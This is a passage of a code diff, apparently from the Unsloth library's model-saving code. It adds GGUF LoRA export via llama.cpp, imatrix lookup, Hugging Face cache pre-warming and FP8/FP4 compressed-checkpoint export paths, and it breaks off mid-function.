+    None/False -> None. A path -> that file (a *.gguf_file is renamed to *.gguf). True -> find and
+    download the upstream unsloth/<base>-GGUF imatrix, raising a clear error if none exists.
+    """
+    if imatrix_file is None or imatrix_file is False:
+        return None
+
+    if imatrix_file is not True and isinstance(imatrix_file, (str, os.PathLike)):
+        path = os.path.expanduser(os.fspath(imatrix_file))
+        if not os.path.isfile(path):
+            raise FileNotFoundError(f"Unsloth: imatrix_file '{path}' does not exist.")
+        return _materialize_imatrix(path, dest_dir) if path.endswith(".gguf_file") else path
+
+    if imatrix_file is not True:
+        raise TypeError(
+            "Unsloth: imatrix_file must be None, a path string, or True "
+            f"(got {type(imatrix_file).__name__})."
+        )
+
+    # imatrix_file=True: auto-resolve from the upstream Unsloth GGUF repo. HfApi is the module-level
+    # import (save.py top); hf_hub_download is imported here as it is not needed elsewhere.
+    from huggingface_hub import hf_hub_download
+
+    if token is None:
+        token = get_token()
+    api = HfApi(token = token)
+    repos = _gguf_repo_candidates(model)
+    for repo in repos:
+        try:
+            files = set(api.list_repo_files(repo))
+        except Exception:
+            continue
+        for name in _IMATRIX_UPSTREAM_NAMES:
+            if name in files:
+                downloaded = hf_hub_download(repo_id = repo, filename = name, token = token)
+                local = _materialize_imatrix(downloaded, dest_dir)
+                print(f"Unsloth: Using imatrix '{name}' from '{repo}' -> '{local}'")
+                return local
+    raise RuntimeError(
+        "Unsloth: imatrix_file=True but no upstream Unsloth imatrix was found.\n"
+        f"  Searched repos: {repos or '(none derived from the base model)'}\n"
+        f"  Searched files: {list(_IMATRIX_UPSTREAM_NAMES)}\n"
+        "Pass imatrix_file='/path/to/imatrix.(dat|gguf)' to use your own."
+    )
+
+
+def _unsloth_save_lora_gguf(
+    model,
+    tokenizer,
+    save_directory,
+    outtype = "f16",
+    push_to_hub = False,
+    token = None,
+    private = None,
+    commit_message = "Converted LoRA to GGUF with Unsloth",
+    commit_description = "Convert LoRA to GGUF format using Unsloth",
+    create_pr = False,
+    revision = None,
+):
+    """Export a PEFT/LoRA adapter straight to a GGUF LoRA file via llama.cpp's
+    convert_lora_to_gguf.py (loadable with `llama-cli --lora ...`). For a full / merged model
+    use save_pretrained_gguf instead. `save_directory` is a local dir, or a Hub repo id when
+    push_to_hub=True. Returns the local .gguf path, or the repo id when pushing."""
+    import tempfile
+
+    if not isinstance(model, (PeftModelForCausalLM, PeftModel)):
+        raise RuntimeError(
+            "Unsloth: LoRA GGUF export needs a PEFT/LoRA model. "
+            "For a full or merged model use save_pretrained_gguf(...) instead."
+        )
+    if outtype not in _LORA_GGUF_OUTTYPES:
+        raise ValueError(
+            f"Unsloth: LoRA GGUF outtype must be one of {_LORA_GGUF_OUTTYPES} (got '{outtype}')."
+        )
+    # Resolve a token even for local saves: the converter may fetch a gated/private base config.
+    if token is None:
+        token = get_token()
+
+    # Resolve the dequantized base id (the adapter usually references a 4bit repo).
+    base_model_id = _lora_base_model_id(model)
+    if not base_model_id:
+        raise RuntimeError(
+            "Unsloth: could not determine the base model for LoRA GGUF export "
+            "(no adapter base_model_name_or_path or model config _name_or_path)."
+        )
+    try:
+        base_model_id = get_model_name(base_model_id, load_in_4bit = False)
+    except Exception:
+        pass
+    # Windows-safe basename (handles both C:\... and / separators).
+    if os.path.isdir(base_model_id):
+        model_name = os.path.basename(os.path.normpath(base_model_id))
+    else:
+        model_name = base_model_id.replace("\\", "/").rstrip("/").split("/")[-1]
+    if not model_name:
+        model_name = "model"
+
+    # Save the adapter; for a hub push use an isolated temp dir, else save_directory itself.
+    if push_to_hub:
+        lora_dir = tempfile.mkdtemp(prefix = "unsloth-lora-gguf-")
+    else:
+        os.makedirs(save_directory, exist_ok = True)
+        lora_dir = save_directory
+
+    # Wrap so the isolated temp dir used for hub pushes is always cleaned up, even on failure.
+    try:
+        save_lora_to_custom_dir(model, tokenizer, lora_dir)
+
+        # Ensure a full llama.cpp checkout (ships convert_lora_to_gguf.py) and locate the converter.
+        install_llama_cpp(just_clone_repo = True)
+        converter = os.path.join(LLAMA_CPP_DEFAULT_DIR, "convert_lora_to_gguf.py")
+        if not os.path.exists(converter):
+            # A prebuilt llama.cpp install (or a reused CWD copy) carries binaries but not the
+            # converter script, so force a dedicated source checkout that ships it.
+            source_dir = os.path.join(
+                os.path.dirname(os.path.normpath(LLAMA_CPP_DEFAULT_DIR)), "llama.cpp-source"
+            )
+            install_llama_cpp(llama_cpp_folder = source_dir, just_clone_repo = True)
+            converter = os.path.join(source_dir, "convert_lora_to_gguf.py")
+        if not os.path.exists(converter):
+            raise RuntimeError(
+                "Unsloth: convert_lora_to_gguf.py not found after installing a llama.cpp source "
+                "checkout. A full llama.cpp source checkout is required for LoRA GGUF export."
+            )
+
+        out_gguf = os.path.join(lora_dir, f"{model_name}-lora-{outtype}.gguf")
+        cmd = [sys.executable, converter, lora_dir, "--outfile", out_gguf, "--outtype", outtype]
+        # A local base dir provides config directly; otherwise the id is resolved from the Hub.
+        if os.path.isdir(base_model_id):
+            cmd += ["--base", base_model_id]
+        else:
+            cmd += ["--base-model-id", base_model_id]
+        # Only pass --trust-remote-code when the loaded model actually came from custom code (the
+        # approved load decision), not merely because its config carries an auto_map entry.
+        if _loaded_via_remote_code(model):
+            cmd.append("--trust-remote-code")
+
+        # Expose the token to the converter so it can fetch a gated/private base config from the Hub.
+        env = os.environ.copy()
+        if isinstance(token, str) and token:
+            env["HF_TOKEN"] = token
+            env["HUGGING_FACE_HUB_TOKEN"] = token
+
+        print(f"Unsloth: Converting LoRA adapter at '{lora_dir}' to GGUF -> '{out_gguf}'")
+        try:
+            with subprocess.Popen(
+                cmd,
+                stdout = subprocess.PIPE,
+                stderr = subprocess.STDOUT,
+                bufsize = 1,
+                universal_newlines = True,
+                encoding = "utf-8",
+                errors = "replace",
+                env = env,
+            ) as sp:
+                for line in sp.stdout:
+                    print(line, end = "", flush = True)
+                sp.wait()
+                if sp.returncode != 0:
+                    raise subprocess.CalledProcessError(sp.returncode, sp.args)
+        except subprocess.CalledProcessError as e:
+            raise RuntimeError(
+                f"Unsloth: LoRA -> GGUF conversion failed (exit {e.returncode}). "
+                "See the output above for details."
+            )
+
+        if not push_to_hub:
+            print(f"Unsloth: Done. Saved LoRA GGUF to '{out_gguf}'")
+            return out_gguf
+
+        print(f"Unsloth: Uploading LoRA GGUF to '{save_directory}' ...")
+        from huggingface_hub import HfApi
+
+        api = HfApi(token = token)
+        api.create_repo(
+            repo_id = save_directory,
+            repo_type = "model",
+            private = private,
+            exist_ok = True,
+        )
+        api.upload_folder(
+            folder_path = lora_dir,
+            repo_id = save_directory,
+            repo_type = "model",
+            allow_patterns = ["*.gguf"],
+            commit_message = commit_message,
+            commit_description = commit_description,
+            create_pr = create_pr,
+            revision = revision,
+        )
+        print(f"Unsloth: Done. Uploaded to https://huggingface.co/{save_directory.lstrip('/')}")
+        return save_directory
+    finally:
+        if push_to_hub:
+            shutil.rmtree(lora_dir, ignore_errors = True)
+
+
 def unsloth_convert_lora_to_ggml_and_push_to_hub(
     self,
     tokenizer,
     repo_id: str,
     use_temp_dir: Optional[bool] = None,
-    commit_message: Optional[str] = "Converted LoRA to GGML with Unsloth",
+    commit_message: Optional[str] = "Converted LoRA to GGUF with Unsloth",
     private: Optional[bool] = None,
     token: Union[bool, str, None] = None,
     create_pr: bool = False,
     revision: str = None,
-    commit_description: str = "Convert LoRA to GGML format using Unsloth",
+    commit_description: str = "Convert LoRA to GGUF format using Unsloth",
     temporary_location: str = "_unsloth_temporary_saved_buffers",
     maximum_memory_usage: float = 0.85,
+    outtype: str = "f16",
 ):
-    if not os.path.exists("llama.cpp"):
-        if IS_KAGGLE_ENVIRONMENT:
-            python_install = install_python_non_blocking(["protobuf"])
-            python_install.wait()
-            install_llama_cpp_blocking(use_cuda = False)
-            makefile = None
-        else:
-            git_clone = install_llama_cpp_clone_non_blocking()
-            python_install = install_python_non_blocking(["protobuf"])
-            git_clone.wait()
-            makefile = install_llama_cpp_make_non_blocking()
-            python_install.wait()
-    else:
-        makefile = None
-
-    for _ in range(3):
-        gc.collect()
-
-    lora_directory_push = "lora-to-ggml-push"
-    save_lora_to_custom_dir(self, tokenizer, lora_directory_push)
-
-    model_type = self.config.model_type
-    output_file = os.path.join(lora_directory_push, "ggml-adapter-model.bin")
-
-    print(f"Unsloth: Converting auto-saved LoRA adapters at {lora_directory_push} to GGML format.")
-    print(f"The output file will be {output_file}")
-
-    try:
-        with subprocess.Popen(
-            [
-                sys.executable,
-                "llama.cpp/convert-lora-to-ggml.py",
-                lora_directory_push,
-                output_file,
-                "llama",
-            ],
-            stdout = subprocess.PIPE,
-            stderr = subprocess.PIPE,
-            bufsize = 1,
-            universal_newlines = True,
-            encoding = "utf-8",
-            errors = "replace",
-        ) as sp:
-            for line in sp.stdout:
-                print(line, end = "", flush = True)
-            for line in sp.stderr:
-                print(line, end = "", flush = True)
-            sp.wait()
-            if sp.returncode != 0:
-                raise subprocess.CalledProcessError(sp.returncode, sp.args)
-    except subprocess.CalledProcessError as e:
-        print(f"Error: Conversion failed with return code {e.returncode}")
-        return
-
-    print(f"Unsloth: Conversion completed! Output file: {output_file}")
-
-    print("Unsloth: Uploading GGML file to Hugging Face Hub...")
-    username = upload_to_huggingface(
+    return _unsloth_save_lora_gguf(
         self,
+        tokenizer,
         repo_id,
-        token,
-        "GGML converted LoRA",
-        "ggml",
-        output_file,
-        None,
-        private,
-    )
-    link = f"{repo_id.lstrip('/')}"
-    print("Unsloth: Done.")
-    print(f"Converted LoRA to GGML and uploaded to https://huggingface.co/{link}")
-    print(
-        "\nThis GGML making function was made by Maheswar. Ping him @Maheswar on the Unsloth Discord or on HuggingFace (@mahiatlinux) if you like this!"
+        outtype = outtype,
+        push_to_hub = True,
+        token = token,
+        private = private,
+        commit_message = commit_message,
+        commit_description = commit_description,
+        create_pr = create_pr,
+        revision = revision,
     )
 
 
@@ -2869,65 +3677,9 @@ def unsloth_convert_lora_to_ggml_and_save_locally(
     tokenizer,
     temporary_location: str = "_unsloth_temporary_saved_buffers",
     maximum_memory_usage: float = 0.85,
+    outtype: str = "f16",
 ):
-    if not os.path.exists("llama.cpp"):
-        if IS_KAGGLE_ENVIRONMENT:
-            python_install = install_python_non_blocking(["protobuf"])
-            python_install.wait()
-            install_llama_cpp_blocking(use_cuda = False)
-            makefile = None
-        else:
-            git_clone = install_llama_cpp_clone_non_blocking()
-            python_install = install_python_non_blocking(["protobuf"])
-            git_clone.wait()
-            makefile = install_llama_cpp_make_non_blocking()
-            python_install.wait()
-    else:
-        makefile = None
-
-    for _ in range(3):
-        gc.collect()
-
-    # Use the provided save_directory for local saving
-    save_lora_to_custom_dir(self, tokenizer, save_directory)
-
-    model_type = self.config.model_type
-    output_file = os.path.join(save_directory, "ggml-adapter-model.bin")
-
-    print(f"Unsloth: Converting auto-saved LoRA adapters at {save_directory} to GGML format.")
-    print(f"The output file will be {output_file}")
-
-    try:
-        with subprocess.Popen(
-            [
-                sys.executable,
-                "llama.cpp/convert-lora-to-ggml.py",
-                save_directory,
-                output_file,
-                "llama",
-            ],
-            stdout = subprocess.PIPE,
-            stderr = subprocess.PIPE,
-            bufsize = 1,
-            universal_newlines = True,
-            encoding = "utf-8",
-            errors = "replace",
-        ) as sp:
-            for line in sp.stdout:
-                print(line, end = "", flush = True)
-            for line in sp.stderr:
-                print(line, end = "", flush = True)
-            sp.wait()
-            if sp.returncode != 0:
-                raise subprocess.CalledProcessError(sp.returncode, sp.args)
-    except subprocess.CalledProcessError as e:
-        print(f"Error: Conversion failed with return code {e.returncode}")
-        return
-    print("Unsloth: Done.")
-    print(f"Unsloth: Conversion completed! Output file: {output_file}")
-    print(
-        "\nThis GGML making function was made by Maheswar. Ping him @Maheswar on the Unsloth Discord or on HuggingFace (@mahiatlinux) if you like this!"
-    )
+    return _unsloth_save_lora_gguf(self, tokenizer, save_directory, outtype = outtype)
 
 
 from .models.loader_utils import get_model_name
@@ -2941,6 +3693,182 @@ from unsloth_zoo.llama_cpp import (
 )
 
 
+def _prewarm_base_model_hub_cache(
+    model,
+    save_method = "merged_16bit",
+    token = None,
+):
+    """Download the 16-bit base weights into the persistent HF hub cache before the merge.
+
+    merge_and_overwrite_lora fetches missing shards with hf_hub_download(local_dir = ...),
+    which never populates the hub cache. When the merge directory is temporary (GGUF
+    checkpoint exports delete it after conversion), every export re-downloads the full
+    base model (#6890). Pre-warming the cache makes the first export download once and
+    later exports copy from the cache. Best-effort: any failure or skip falls back to
+    the streaming download. Disable with UNSLOTH_PREWARM_HUB_CACHE=0.
+    """
+    _false = ("0", "false", "no", "off")
+    if os.environ.get("UNSLOTH_PREWARM_HUB_CACHE", "1").strip().lower() in _false:
+        return
+    if IS_KAGGLE_ENVIRONMENT or IS_COLAB_ENVIRONMENT:
+        return
+    _true = ("1", "true", "yes", "on")
+    if (
+        os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in _true
+        or os.environ.get("TRANSFORMERS_OFFLINE", "").strip().lower() in _true
+    ):
+        return
+    # Only the 16bit / mxfp4 merges download the base model; merged_4bit and lora do not.
+    if save_method not in ("merged_16bit", "mxfp4"):
+        return
+    if not isinstance(model, PeftModel):
+        return
+
+    try:
+        # getattr so a model without a config / _name_or_path skips instead of raising.
+        name_or_path = getattr(getattr(model, "config", None), "_name_or_path", None)
+        if not name_or_path:
+            return
+        try:
+            model_name = get_model_name(name_or_path, load_in_4bit = False)
+        except Exception:
+            model_name = name_or_path
+        if not model_name or os.path.isdir(model_name):
+            return  # local checkpoints are copied, never downloaded
+
+        # The merge may swap a gpt-oss "-BF16" repo for its MXFP4 variant, so skip it.
+        if save_method == "mxfp4" and model_name.endswith("-BF16"):
+            return
+
+        from unsloth_zoo.saving_utils import determine_base_model_source
+
+        model_name, is_local_path, _, base_is_quantized, quant_type = determine_base_model_source(
+            model_name, token
+        )
+        if not model_name or is_local_path:
+            return
+        # Mirror the merge: an FP8 base with a 16bit sibling merges onto the sibling, so
+        # pre-warm the sibling (what the merge downloads), not the FP8 repo (#6890).
+        if base_is_quantized and quant_type == "fp8" and save_method == "merged_16bit":
+            try:
+                from unsloth_zoo.saving_utils import _resolve_fp8_16bit_sibling
+                sibling = _resolve_fp8_16bit_sibling(model_name, token)
+            except Exception:
+                sibling = None
+            if sibling:
+                model_name, is_local_path, _, base_is_quantized, quant_type = (
+                    determine_base_model_source(sibling, token)
+                )
+                if not model_name or is_local_path:
+                    return
+        if base_is_quantized and quant_type in ("nf4", "fp4"):
+            return  # the 16bit merge refuses these bases; nothing worth caching
+
+        from huggingface_hub import HfFileSystem, hf_hub_download, snapshot_download
+
+        # Resolve the cache from the live env like the merge, not huggingface_hub's frozen
+        # constants: a runtime cache redirect (read-only default, Studio) would else miss (#6890).
+        try:
+            from unsloth_zoo.hf_cache import _active_caches
+            _hub_cache = _active_caches()[1]
+            hub_cache_dir = str(_hub_cache) if _hub_cache is not None else None
+        except Exception:
+            hub_cache_dir = None
+
+        # Mirror the zoo's shard listing (drop consolidated.safetensors when proper
+        # shards coexist) so the cached set is a superset of what the merge looks up.
+        shard_names = []
+        total_size_in_bytes = 0
+        for x in HfFileSystem(token = token).ls(model_name, detail = True):
+            if x["name"].endswith(".safetensors"):
+                shard_names.append((os.path.split(x["name"])[-1], int(x.get("size") or 0)))
+        if any(name != "consolidated.safetensors" for name, _ in shard_names):
+            shard_names = [x for x in shard_names if x[0] != "consolidated.safetensors"]
+        if not shard_names:
+            return
+
+        try:
+            for filename, _ in shard_names:
+                hf_hub_download(
+                    repo_id = model_name,
+                    filename = filename,
+                    cache_dir = hub_cache_dir,
+                    local_files_only = True,
+                    token = token,
+                )
+            return  # already fully cached
+        except Exception:
+            pass
+
+        # Mirror the merge's index filter (download path only): some repos ship leftover shards
+        # the index omits; keep only indexed ones, else the disk gate over-counts and we fetch
+        # unused shards.
+        if len(shard_names) > 1:
+            try:
+                import json as _json
+
+                _idx = hf_hub_download(
+                    repo_id = model_name,
+                    filename = "model.safetensors.index.json",
+                    cache_dir = hub_cache_dir,
+                    token = token,
+                )
+                with open(_idx, encoding = "utf-8") as _f:
+                    _indexed = {
+                        os.path.split(v)[-1] for v in _json.load(_f).get("weight_map", {}).values()
+                    }
+                if _indexed and not {n for n, _ in shard_names}.issubset(_indexed):
+                    _kept = [x for x in shard_names if x[0] in _indexed]
+                    if _kept:
+                        shard_names = _kept
+            except Exception:
+                pass
+        total_size_in_bytes = sum(size for _, size in shard_names)
+
+        # The cache copy is extra disk on top of the merge working copy; need room for both.
+        from huggingface_hub import constants as _hf_constants
+
+        # abspath so a relative HF_HUB_CACHE walks up to an existing root, not "".
+        cache_probe = os.path.abspath(
+            os.path.expanduser(str(hub_cache_dir or _hf_constants.HF_HUB_CACHE))
+        )
+        while cache_probe and not os.path.exists(cache_probe):
+            parent = os.path.dirname(cache_probe)
+            if parent == cache_probe:
+                break
+            cache_probe = parent
+        free_space = shutil.disk_usage(cache_probe).free if os.path.exists(cache_probe) else 0
+        if free_space < 2 * total_size_in_bytes:
+            print(
+                f"Unsloth: Not enough free disk to keep `{model_name}` in the Hugging Face "
+                f"cache (need ~{round(2 * total_size_in_bytes / 1024**3, 1)}GB free, have "
+                f"{round(free_space / 1024**3, 1)}GB). Downloading straight to the merge "
+                f"directory instead; the next export will re-download it."
+            )
+            return
+
+        if total_size_in_bytes >= 0.1 * 1024**3:
+            size_str = f"{round(total_size_in_bytes / 1024**3, 1)}GB"
+        else:
+            size_str = f"{max(1, round(total_size_in_bytes / 1024**2))}MB"
+        print(
+            f"Unsloth: Downloading `{model_name}` into the Hugging Face cache so future "
+            f"exports skip the {size_str} download..."
+        )
+        snapshot_download(
+            repo_id = model_name,
+            allow_patterns = [name for name, _ in shard_names]
+            + ["model.safetensors.index.json", "tokenizer.model"],
+            cache_dir = hub_cache_dir,
+            token = token,
+        )
+    except Exception as e:
+        print(
+            f"Unsloth: Could not pre-cache the base model weights ({e}). "
+            f"Falling back to downloading into the merge directory."
+        )
+
+
 @torch.inference_mode
 def save_to_gguf_generic(
     model,
@@ -2976,15 +3904,16 @@ def save_to_gguf_generic(
                 "Unsloth: quantization_method can only be a string or a list of strings"
             )
         for i, quant_method in enumerate(quantization_method):
-            quant_method = quant_method.lower()
+            if quant_method is None:
+                quant_method = "q8_0"
+            else:
+                quant_method = quant_method.lower()
             if quant_method == "not_quantized":
                 quant_method = "f16"
             elif quant_method == "fast_quantized":
                 quant_method = "q8_0"
             elif quant_method == "quantized":
                 quant_method = "q4_k_m"
-            elif quant_method is None:
-                quant_method = "q8_0"
             new_quantization_methods.append(quant_method.lower())
     else:
         new_quantization_methods.append(quantization_type.lower())
@@ -3135,6 +4064,7 @@ def unsloth_generic_save(
 
         print(f"Unsloth: Model saved successfully to '{save_directory}'")
     else:
+        _prewarm_base_model_hub_cache(model, save_method = save_method, token = token)
         merge_and_overwrite_lora(
             get_model_name,
             model = model,
@@ -3166,7 +4096,7 @@ def unsloth_generic_save_pretrained_merged(
     self,
     save_directory: Union[str, os.PathLike],
     tokenizer = None,
-    save_method: str = "merged_16bit",  # ["lora", "merged_16bit", "merged_4bit"]
+    save_method: str = "merged_16bit",  # ["lora", "merged_16bit", "merged_4bit", "fp8", "mxfp4", "nvfp4", "mxfp8"]
     push_to_hub: bool = False,
     token: Optional[Union[str, bool]] = None,
     is_main_process: bool = True,
@@ -3180,6 +4110,9 @@ def unsloth_generic_save_pretrained_merged(
     temporary_location: str = "_unsloth_temporary_saved_buffers",
     maximum_memory_usage: float = 0.75,
     datasets: Optional[List[str]] = None,
+    calibration_dataset = None,
+    num_calibration_samples: int = 512,
+    max_seq_length: int = 2048,
 ):
     """
     Same as .push_to_hub(...) except 4bit weights are auto
@@ -3189,6 +4122,10 @@ def unsloth_generic_save_pretrained_merged(
     1. `16bit`: Merge LoRA into float16 weights. Useful for GGUF / llama.cpp.
     2.  `4bit`: Merge LoRA into int4 weights. Useful for DPO / HF inference.
     3.  `lora`: Save LoRA adapters with no merging. Useful for HF inference.
+    4.  FP8 / FP4 compressed export for vLLM via llm-compressor:
+        `fp8` (dynamic W8A8), `mxfp4`, `nvfp4` (W4A4), `mxfp8`. The LoRA is merged to 16bit at
+        `save_directory`, then a quantized checkpoint is written to `save_directory + "-<fmt>"`.
+        `nvfp4` needs calibration data (defaults to ultrachat; override with `calibration_dataset`).
     """
     if tokenizer is None:
         logger.warning_once(
@@ -3196,9 +4133,76 @@ def unsloth_generic_save_pretrained_merged(
             "You can do it separately via `tokenizer.save_pretrained(...)`"
         )
 
+    # FP8 / FP4 compressed-tensors export (llm-compressor) -> handled separately.
+    _compressed = _normalize_compressed_method(save_method)
+    if _compressed is not None:
+        scheme, needs_calibration, suffix = _compressed
+        _unsloth_save_compressed_tensors(
+            model = self,
+            save_directory = save_directory,
+            tokenizer = tokenizer,
+            scheme = scheme,
+            needs_calibration = needs_calibration,
+            suffix = suffix,
+            push_to_hub = push_to_hub,
+            token = token,
+            is_main_process = is_main_process,
+            calibration_dataset = calibration_dataset,
+            num_calibration_samples = num_calibration_samples,
+            max_seq_length = max_seq_length,
+            # Forward standard save kwargs to the 16bit merge.
+            state_dict = state_dict,
+            save_function = save_function,
+            max_shard_size = max_shard_size,
+            safe_serialization = safe_serialization,
+            variant = variant,
+            save_peft_format = save_peft_format,
+            tags = tags,
+            temporary_location = temporary_location,
+            maximum_memory_usage = maximum_memory_usage,
+            datasets = datasets,
+        )
+        for _ in range(3):
+            gc.collect()
+        return
+
+    # torchao portable FP8/INT8 export (no NVIDIA GPU) -> separate path.
+    _torchao = _normalize_torchao_method(save_method)
+    if _torchao is not None:
+        kind, suffix = _torchao
+        _unsloth_save_torchao(
+            model = self,
+            save_directory = save_directory,
+            tokenizer = tokenizer,
+            kind = kind,
+            suffix = suffix,
+            push_to_hub = push_to_hub,
+            token = token,
+            is_main_process = is_main_process,
+            # Forward standard save kwargs to the 16bit merge.
+            state_dict = state_dict,
+            save_function = save_function,
+            max_shard_size = max_shard_size,
+            safe_serialization = safe_serialization,
+            variant = variant,
+            save_peft_format = save_peft_format,
+            tags = tags,
+            temporary_location = temporary_location,
+            maximum_memory_usage = maximum_memory_usage,
+            datasets = datasets,
+        )
+        for _ in range(3):
+            gc.collect()
+        return
+
     arguments = dict(locals())
     arguments["model"] = self
     del arguments["self"]
+    del arguments["_compressed"]
+    del arguments["_torchao"]
+    del arguments["calibration_dataset"]
+    del arguments["num_calibration_samples"]
+    del arguments["max_seq_length"]
     unsloth_generic_save(**arguments)
     for _ in range(3):
         gc.collect()
@@ -3222,6 +4226,9 @@ def unsloth_generic_push_to_hub_merged(
     temporary_location: str = "_unsloth_temporary_saved_buffers",
     maximum_memory_usage: float = 0.75,
     datasets: Optional[List[str]] = None,
+    calibration_dataset = None,
+    num_calibration_samples: int = 512,
+    max_seq_length: int = 2048,
 ):
     """
     Same as .push_to_hub(...) except 4bit weights are auto
@@ -3231,6 +4238,7 @@ def unsloth_generic_push_to_hub_merged(
     1. `16bit`: Merge LoRA into float16 weights. Useful for GGUF / llama.cpp.
     2.  `4bit`: Merge LoRA into int4 weights. Useful for DPO / HF inference.
     3.  `lora`: Save LoRA adapters with no merging. Useful for HF inference.
+    4.  FP8 / FP4 compressed export for vLLM: `fp8`, `mxfp4`, `nvfp4`, `mxfp8`.
     """
     if tokenizer is None:
         logger.warning_once(
@@ -3238,12 +4246,82 @@ def unsloth_generic_push_to_hub_merged(
             "You can do it separately via `tokenizer.push_to_hub(...)`"
         )
 
+    # FP8 / FP4 compressed-tensors export (llm-compressor) -> handled separately.
+    _compressed = _normalize_compressed_method(save_method)
+    if _compressed is not None:
+        scheme, needs_calibration, suffix = _compressed
+        _unsloth_save_compressed_tensors(
+            model = self,
+            save_directory = repo_id,
+            tokenizer = tokenizer,
+            scheme = scheme,
+            needs_calibration = needs_calibration,
+            suffix = suffix,
+            push_to_hub = True,
+            token = token,
+            private = private,
+            commit_message = commit_message,
+            commit_description = commit_description,
+            create_pr = create_pr,
+            revision = revision,
+            calibration_dataset = calibration_dataset,
+            num_calibration_samples = num_calibration_samples,
+            max_seq_length = max_seq_length,
+            # Forward standard save kwargs to the 16bit merge.
+            use_temp_dir = use_temp_dir,
+            max_shard_size = max_shard_size,
+            safe_serialization = safe_serialization,
+            tags = tags,
+            temporary_location = temporary_location,
+            maximum_memory_usage = maximum_memory_usage,
+            datasets = datasets,
+        )
+        for _ in range(3):
+            gc.collect()
+        return
+
+    # torchao portable FP8/INT8 export (no NVIDIA GPU) -> separate path.
+    _torchao = _normalize_torchao_method(save_method)
+    if _torchao is not None:
+        kind, suffix = _torchao
+        _unsloth_save_torchao(
+            model = self,
+            save_directory = repo_id,
+            tokenizer = tokenizer,
+            kind = kind,
+            suffix = suffix,
+            push_to_hub = True,
+            token = token,
+            is_main_process = True,
+            private = private,
+            commit_message = commit_message,
+            commit_description = commit_description,
+            create_pr = create_pr,
+            revision = revision,
+            # Forward standard save kwargs to the 16bit merge.
+            use_temp_dir = use_temp_dir,
+            max_shard_size = max_shard_size,
+            safe_serialization = safe_serialization,
+            tags = tags,
+            temporary_location = temporary_location,
+            maximum_memory_usage = maximum_memory_usage,
+            datasets = datasets,
+        )
+        for _ in range(3):
+            gc.collect()
+        return
+
     arguments = dict(locals())
     arguments["model"] = self
     arguments["save_directory"] = repo_id
     arguments["push_to_hub"] = True
     del arguments["self"]
     del arguments["repo_id"]
+    del arguments["_compressed"]
+    del arguments["_torchao"]
+    del arguments["calibration_dataset"]
+    del arguments["num_calibration_samples"]
+    del arguments["max_seq_length"]
     unsloth_generic_save(**arguments)
     for _ in range(3):
         gc.collect()
@@ -3388,6 +4466,591 @@ def _unsloth_save_torchao_with_given_config(
             pass
 
 
+def _scheme_is_available(scheme):
+    """True if `scheme` is a known preset in the installed compressed_tensors."""
+    try:
+        from compressed_tensors.quantization import quant_scheme as _qs
+
+        presets = getattr(_qs, "PRESET_SCHEMES", None)
+        if presets is None:
+            return True
+        return scheme in presets
+    except Exception:
+        # If we cannot introspect, let llm-compressor validate the scheme itself.
+        return True
+
+
+def _print_compressed_hw_note(scheme, out_dir):
+    if scheme in ("FP8_DYNAMIC", "MXFP8"):
+        hw = "NVIDIA GPUs with compute capability >= 8.9 (Ada / Hopper) or newer"
+    else:
+        hw = (
+            "NVIDIA Blackwell (SM100+) for full activation quantization "
+            "(older GPUs fall back to weight-only in vLLM)"
+        )
+    print(
+        f"Unsloth: Saved {scheme} compressed checkpoint to '{out_dir}'.\n"
+        f"Unsloth: Load it with vLLM for accelerated inference. Hardware for full speed: {hw}."
+    )
+
+
+def _unsloth_save_compressed_tensors(
+    model,
+    save_directory: Union[str, os.PathLike],
+    tokenizer,
+    scheme: str,
+    needs_calibration: bool,
+    suffix: str,
+    push_to_hub: bool = False,
+    token: Optional[Union[str, bool]] = None,
+    is_main_process: bool = True,
+    calibration_dataset = None,
+    num_calibration_samples: int = 512,
+    max_seq_length: int = 2048,
+    **merge_kwargs,
+):
+    """Export an FP8/FP4 compressed-tensors checkpoint via llm-compressor.
+
+    Mirrors the torchao PTQ path: LoRA is first merged into the base model at 16bit and
+    written to `save_directory` (which is kept). The merged checkpoint is then quantized with
+    llm-compressor's `QuantizationModifier(scheme)` in a separate process (so Unsloth's
+    transformers monkey-patches do not interfere), and written to the sibling directory
+    `save_directory + "-" + suffix`. The result is intended for vLLM inference.
+    """
+    import tempfile
+
+    if isinstance(tokenizer, (PreTrainedTokenizerBase, ProcessorMixin)):
+        tokenizer = patch_saving_functions(tokenizer)
+    # Resolve a token for the hub push and/or loading a gated calibration dataset in the subprocess.
+    if token is None:
+        token = get_token()
+
+    # Only the main process installs deps, merges, quantizes, and uploads (mirrors the non-PEFT
+    # save path); other ranks return at once so they neither race on dirs nor run pip installs.
+    if not is_main_process:
+        return None
+
+    # 1) Prepare the quantization runtime BEFORE merging, so an unusable config fails fast instead of
+    #    writing a full 16bit checkpoint first. With the llm-compressor-main shadow the subprocess
+    #    validates everything itself, so skip the workspace install / ceiling / scheme checks; without
+    #    it, install the workspace llm-compressor and fail fast past its transformers ceiling.
+    _shadow_pythonpath = _compressed_quantize_pythonpath()
+    if _shadow_pythonpath is None:
+        install_llm_compressor()
+        # llm-compressor cannot run under a newer transformers than its ceiling: the quantization
+        # subprocess would die with a cryptic ImportError (TORCH_INIT_FUNCTIONS) only AFTER the costly
+        # 16bit merge. Detect and fail fast with an actionable message instead.
+        _exceeds, _tf_ver = _transformers_exceeds_llm_compressor_ceiling()
+        if _exceeds:
+            raise RuntimeError(
+                f"Unsloth: FP8/FP4 compressed-tensors export is not available for this model. It runs "
+                f"under transformers {_tf_ver}, but llm-compressor supports transformers "
+                f"<= {_LLM_COMPRESSOR_MAX_TRANSFORMERS}. Export to GGUF or 16-bit instead."
+            )
+        if not _scheme_is_available(scheme):
+            try:
+                import transformers as _tf
+                tf_ver = _tf.__version__
+            except Exception:
+                tf_ver = "unknown"
+            raise RuntimeError(
+                f"Unsloth: scheme '{scheme}' is not available in your installed "
+                f"compressed-tensors / llm-compressor.\n"
+                f"It requires a newer llm-compressor that needs transformers>=5.9 "
+                f"(you have transformers {tf_ver}).\n"
+                "Use save_method in {fp8, mxfp4, nvfp4}, or upgrade transformers + llm-compressor."
+            )
+
+    # 2) Pick the local working dir. For a hub push, save_directory is a repo id, so merge and
+    #    quantize inside an isolated temp dir instead of writing ./<repo_id> into the cwd.
+    repo_id, work_tmp, calib_tmp, model_dev = None, None, None, None
+    if push_to_hub:
+        repo_id = os.fspath(save_directory)
+        work_tmp = tempfile.mkdtemp(prefix = "unsloth-compressed-")
+        local_dir = os.path.join(work_tmp, os.path.basename(repo_id.rstrip("/")) or "model")
+    else:
